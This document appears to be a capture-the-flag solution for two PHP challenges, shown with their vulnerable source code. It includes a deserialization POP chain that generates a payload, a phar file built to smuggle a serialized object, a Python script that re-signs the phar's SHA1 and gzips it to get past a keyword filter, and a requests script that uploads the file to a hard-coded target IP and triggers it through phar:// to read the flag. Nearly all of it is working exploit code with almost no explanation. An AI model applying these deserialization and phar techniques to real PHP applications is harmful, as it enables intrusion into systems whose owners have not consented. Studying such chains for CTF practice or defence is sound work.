<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");
class one {
    public $object;
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        return $this->object->string;
    }
}
class second {
    protected $filename;
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class third {
    private $string;
    public function __construct($string) {
        $this->string = $string;
    }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");
class one {
    public $year_parm=array("Happy_func");
    public $object;
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
    public function __destruct() {
        @$this->object->add();
    }
    public function __toString() {
        return $this->object->string;
    }
}
class second {
    public $filename;
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class third {
    private $string;
    public function __construct($string) {
        $this->string = $string;
    }
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}
class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗，我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗，我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗，我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

<?php
class getflag{
}
$a=new getflag();
$b=array($a,0);
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

import gzip 
from hashlib import sha1
file = open("ph1.phar","rb").read() 
text = file[:-28] #读取开始到末尾除签名外内容 
last = file[-8:] #读取最后8位的GBMB和签名flag 
new_file = text+sha1(text).digest() + last #生成新的文件内容，主要是此时sha1正确了。 
open("ph2.phar","wb").write(new_file)

<?php
class A {
    public $config='w';
}
$a = new A();
echo serialize($a);
?>

import requests
import gzip
import re
url = 'http://1.14.71.254:28496/'
file = open("ph2.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()
requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
    },
    data={
        0: open('phar.zip', 'rb').read()
    }
) # 写入
res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)